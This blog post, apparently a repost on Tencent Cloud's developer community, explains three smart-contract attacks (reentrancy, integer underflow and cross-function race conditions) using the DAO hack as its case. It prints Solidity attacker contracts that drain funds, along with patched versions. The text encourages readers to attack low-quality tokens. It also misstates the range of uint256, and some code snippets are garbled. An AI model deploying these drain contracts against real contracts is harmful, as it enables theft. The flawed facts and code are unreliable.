首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

你也可以成区块链智能合约的攻击黑客大神

以下内容不作为投资建议,投资有风险,各位需谨慎。同时本文内容仅做技术分享,探讨,读者一切违法行为与本人无关!远离'币圈',玩死'土狗''黑死狗庄'。你看到的所谓'去中心化'是虚的,白皮书说的'写死''无漏洞''经过审计'...在一个程序员眼里一丢丢用的都没有!

先分享两篇国外黑客大神的文章:

《Smart Contract Attacks [Part 1] - 3 Attacks WeShould All Learn From The DAO》

https://hackernoon.com/smart-contract-attacks-part-1-3-attacks-we-should-all-learn-from-the-dao-909ae4483f0a

《Smart Contract Attacks[Part 2] - Ponzi Games Gone Wrong》

https://hackernoon.com/smart-contract-attacks-part-2-ponzi-games-gone-wrong-d5a8b1a98dd8

这里一边看攻击,一边学solidity吧!

'DAO'几乎所有讨论智能合约安全的文章都拿它做例子,我也不高特殊,也用它做例子,你们就明白'攻击'智能合约有多简单,大家也别看着一份白皮书吹嘘去盲杀'土狗'。如果你对加密货币的关注时间足够长,那么极可能已经听说过几次智能合约攻击,而这些攻击已导致价值数千万美元的加密资产被盗。最值得注意的攻击仍然是分散自治组织'DAO',它曾是有史以来最受期待的加密项目之一,也是智能合约强大能力的体现。尽管大多数人都听说过这些攻击,但很少有人真正了解出了什么问题、为何会出问题以及如何避免两次犯同样的错误。智能合约动态、复杂的且功能强大。尽管它们的潜力无法想象的,但它们不可能在一夜之间就无懈可击。也就是说,我们所有人都必须从先前的错误中学习并共同成长,这对于加密技术的未来至关重要。尽管DAO已经成为过去,但它仍然是开发人员、投资者和社区成员应该熟悉的易受攻击的智能合约攻击的一个很好的例子。在本智能合约攻击系列中,我将向读者详细介绍3种常见的攻击(我们可以从DAO中学到)(包括Solidity代码)。无论是开发人员、投资者还是加密货币的爱好者,对这些攻击的了解都将使您对这项有前途的技术有更深入的了解。

攻击#1:重入

当攻击者通过'递归'调用目标的提款功能从目标中消耗资金时,就会发生再入攻击,就像DAO一样。当合约在发送资金之前未能更新其状态(用户的余额)时,攻击者可以连续调用取款函数以最终取出合同的所有资金。每当攻击者收到如以太币时,攻击者的合约就会自动调用其fallback函数function(),该函数被编写为再次调用取款函数。此时,攻击已进入递归循环,合约的资金开始转移给攻击者。由于目标合约无法调用攻击者的fallback函数,因此该合约永远无法更新攻击者的余额。目标合约'被欺骗',以为一切都正常......

注意:fallback函数是合约的特殊函数,只要合约收到以太币和零数据,该函数就会自动执行。

攻击流程大概这样

1->攻击者将以太币捐赠给目标合约

2->因为受到捐赠,所以目标合约更新了攻击者的余额

3->攻击者要求退还资金

4->资金被退回

5->攻击者的fallback函数被触发,并要求再次取款

6->智能合约更新攻击者余额的代码尚未执行,因此成功再次调用了取款

7->资金发送给攻击者

8->重复步骤5-7

9->攻击结束后,攻击者会将合同中的资金发送到其个人地址

不幸的是,攻击一旦开始就无法停止。攻击者的取款函数将被反复调用,直到合约用尽gas或受害者的以太币余额耗尽。

代码(下面是易受攻击的DAO合同的简化版本,其中包括一些注释,以便于不熟悉编程/solidity的读者更好地理解合约。)

/* assign key/value pair so we can look up credit integers with an ETH address */ mapping (address => uint256) public credit;

/* a function for funds to be added to the contract, sender will be credited amount sent */function donate(address to) payable { credit[msg.sender] += msg.value; }

/*show ether credited to address*/function assignedCredit(address) returns (uint) {return credit[msg.sender]; }

/*withdrawal ether from contract*/function withdraw(uint amount) {if (credit[msg.sender] >= amount) { msg.sender.call.value(amount)(); credit[msg.sender] -= amount; } }}

import ‘browser/babyDAO.sol’;contract ThisIsAHodlUp {

/* assign babyDAO contract as "dao" */ babyDAO public dao = babyDAO(0x2ae...); address owner;

/*assign contract creator as owner*/constructor(ThisIsAHodlUp) public { owner = msg.sender; }

/*fallback function, withdraws funds from babyDAO*/function() public { dao.withdraw(dao.assignedCredit(this)); }

/*send drained funds to attacker’s address*/function drainFunds() payable public{ owner.transfer(address(this).balance); }}

fallback函数 function()调用dao或合约babyDAO {}的提取函数,以从合约中窃取资金。另一方面,当攻击者想要将所有被盗的以太币发送到他们的地址时,将在攻击结束时调用函数drainFunds()。

是解决漏洞的办法:

·转出前更新合约余额

·转出时使用address.transfer()或address.send()

contract babyDAO{

....

function withdraw(uint amount) {

if (credit[msg.sender] >= amount) {

credit[msg.sender] -= amount; /* updates balance first */

msg.sender.send(amount)(); /* send funds properly */

}

}

这样大家明白了吧,舵主敢说市面10个'土狗'5个都用这种漏洞。不用黑客出手,小白都可以用这招去黑死土狗币,所以才说'土狗'太废了。

攻击#2:下溢 underflow

别以为修补了'DAO'合约漏洞,我们就没其他法子,我们还是可以利用现有的babyDAO合约攻击,问你怕怕没!当然你先要有点料子,至少确保了解uint256是什么(uint256是256位的无符号整数(无符号,正整数)。以太坊虚拟机被设计为使用256位作为其字长,也即,使用计算机CPU一次可以处理的位数。由于EVM的大小限制为256位,因此分配的数字范围为0到4,294,967,295(2²⁵⁶)。如果我们超过该范围,该数字将重置为该范围的底部(2²⁵⁶+ 1 = 0)。如果我们低于此范围,则数字将重置为该范围的上限(0–1 =2²⁵⁶)。【这里的等号意味着最终得到的结果】当我们从零中减去一个大于零的数字时,就会发生下溢,从而产生新分配的整数2²⁵⁶。现在,如果攻击者的余额出现下溢,余额将更新得到一个非常大的数字,从而所有资金都可能被盗。

攻击方法

1->攻击者通过向目标合约发送1 Wei来发起攻击

2->合约增加攻击者的信用额

3->随后,发生调用,取回发送的1 Wei

4->合约从发件人的信用额中减去1 Wei,现在余额再次为零

5->由于目标合同将以太币发送给攻击者,因此也会触发攻击者的fallback函数,并再次调用取款函数

6->记录1 Wei的提现

7->攻击者的合同余额已更新两次,第一次更新为零,第二次更新为-1

8->攻击者的余额重置为2²⁵⁶

9->攻击者通过提取目标合同的所有资金来完成攻击

代码

import ‘browser/babyDAO’;

contract UnderflowAttack {

babyDAO public dao = babyDAO(0x2ae…); address owner; bool performAttack = true;

/*set contract creator as owner*/constructor{ owner = msg.sender;}

/*donate 1 wei, withdraw 1 wei*/function attack() { dao.donate.value(1)(this); dao.withdraw(1); }

/*fallback function, results in 0–1 = 2**256 */function() {if (performAttack) { performAttack = false; dao.withdraw(1); } }

/*extract balance from smart contract*/function getJackpot() { dao.withdraw(dao.balance); owner.send(this.balance); }}

解决方案

为了避免成为下溢攻击的受害者,最好的方法是检查更新的整数是否保持在其字节范围内。可以在代码中添加参数检查以充当最后一道防线。下面的代码中,函数的第一行withdraw()检查是否有足够的资金,第二行检查是否有溢出,第三行检查是否有下溢。

contract babysDAO{

....

/*withdrawal ether from contract*/function withdraw(uint amount) {if (credit[msg.sender] >= amount && credit[msg.sender] + amount >= credit[msg.sender] && credit[msg.sender] - amount credit[msg.sender] -= amount; msg.sender.send(amount)(); }}

这个修补方法比较简单,我就不详细说了,自己参悟下下,注意,如前所述,上面的代码是在转出之前更新用户的余额。

攻击#3:跨函数的竞态条件

最后很重要的一个攻击是跨函数竞态条件攻击。正如我们在Reentrancy攻击中所讨论的那样,DAO合同未能正确更新合同状态,从而导致资金被盗。DAO和外部调用的部分问题通常是可能发生跨函数竞态条件。虽然以太坊中的所有交易都是串行运行的(一个接一个),但如果管理不当,外部调用(调用另一个合约或地址)可能会成为灾难的根源。当调用两个函数,而这两个函数共享相同的状态时,就会发生跨函数竞态条件。合约认为存在两个合同状态,而实际上只有一个真实的合同状态可以存在。我们不能同时拥有X = 3和X = 4…

我举个例子来说说是啥个概念代码

contract crossFunctionRace{

mapping (address => uint) private userBalances;

/* uses userBalances to transfer funds */function transfer(address to, uint amount) {if (userBalances[msg.sender] >= amount) { userBalances[to] += amount; userBalances[msg.sender] -= amount; } }

/* uses userBalances to withdraw funds */function withdrawalBalance() public { uint amountToWithdraw = userBalances[msg.sender];require(msg.sender.send(amountToWithdraw)()); userBalances[msg.sender] = 0; }}

上面的合约有两个函数:

一个用于转移资金,另一个用于提取资金。假设攻击者在调用函数transfer()的同时使外部调用函数drawingBalance()。那么 userBalance[msg.sender]的状态实际上受两个函数的控制。用户的余额尚未设置为0,但攻击者也可以转移资金,尽管事实上资金已经被提取了。在这种情况下,合约使得攻击者可以实现双花,而双花问题是区块链技术旨在解决的问题之一。如果多个合约共享状态,则跨函数竞态条件可能会在多个合约之间发生。

->在调用外部函数之前,先完成所有内部工作

->避免外部调用

->在不可避免的情况下,将外部调用函数标记为“不受信任”

->在不可避免的外部调用时使用互斥锁

下面的合约中,我们可以看到

1)在外部调用之前进行内部工作;

2)将所有外部调用函数标记为“不受信任”。这个合约允许将资金发送到一个地址,并且如果用户最初将资金存入合约,可以获得一次性的奖励。

contract crossFunctionRace{

mapping (address => uint) private userBalances; mapping (address => uint) private reward; mapping (address => bool) private claimedReward;

//makes external call, need to mark as untrustedfunction untrustedWithdraw(address recipient) public { uint amountWithdraw = userBalances[recipient]; reward[recipient] = 0;require(recipient.call.value(amountWithdraw)()); }

//untrusted because withdraw is called, an external callfunction untrustedGetReward(address recipient) public {//check that reward hasn’t already been claimedrequire(!claimedReward[recipient]);

//internal work first (claimedReward and assigning reward) claimedReward = true; reward[recipient] += 100; untrustedWithdraw(recipient); } }

可以看到在向用户的地址发送资金时,合约的第一个函数进行了外部调用。同样,奖励功能也使用提取功能来发送一次性奖励,因此也是不受信任的。同样重要的是,合同首先执行了所有内部工作。像我们的重入攻击示例一样,函数untrustedGetReward()在允许提款之前向用户授予其一次奖励的信用,以防止发生跨功能竞争情况。(在理想的情况下,智能合约不需要依赖于进行外部调用。现实情况是,在许多情况下,必须使用外部调用。因此,使用互斥锁“锁定”某些状态,并仅授予锁的所有者更改状态的能力,可以帮助避免代价高昂的灾难。尽管互斥锁非常有效,但是当用于多个合约时,它们可能会变得棘手。如果使用互斥锁来防止出现竞争状况,则需要仔细确保不会出现锁不被释放的情况。如果采用互斥锁的方式,一定要防止出现死锁或者活锁的情况。)

contract mutexExample{

mapping (address => uint) private balances;bool private lockBalances;

function deposit() payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/ require(!lockBalances);/*lock, execute, unlock */ lockBalances = true; balances[msg.sender] += msg.value; lockBalances = false;return true; }

function withdraw(uint amount) payable public returns (bool) {/*check if lockBalances is unlocked before proceeding*/ require(!lockBalances && amount > 0 && balances[msg.sender] >= amount); *lock, execute, unlock*/ lockBalances = true;

if (msg.sender.call(amount)()) { balances[msg.sender] -= amount; }

lockBalances = false;return true; } }

在上面可以看到合约MutexExample()具有执行功能deposit()和withdraw()的私有锁状态。该锁将阻止用户在第一个调用完成之前成功调用withdraw(),从而防止发生任何类型的跨功能争用情况。

  • 发表于:
  • 原文链接https://page.om.qq.com/page/Os0PMiohJ30t2zqNxMuZ59sA0
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券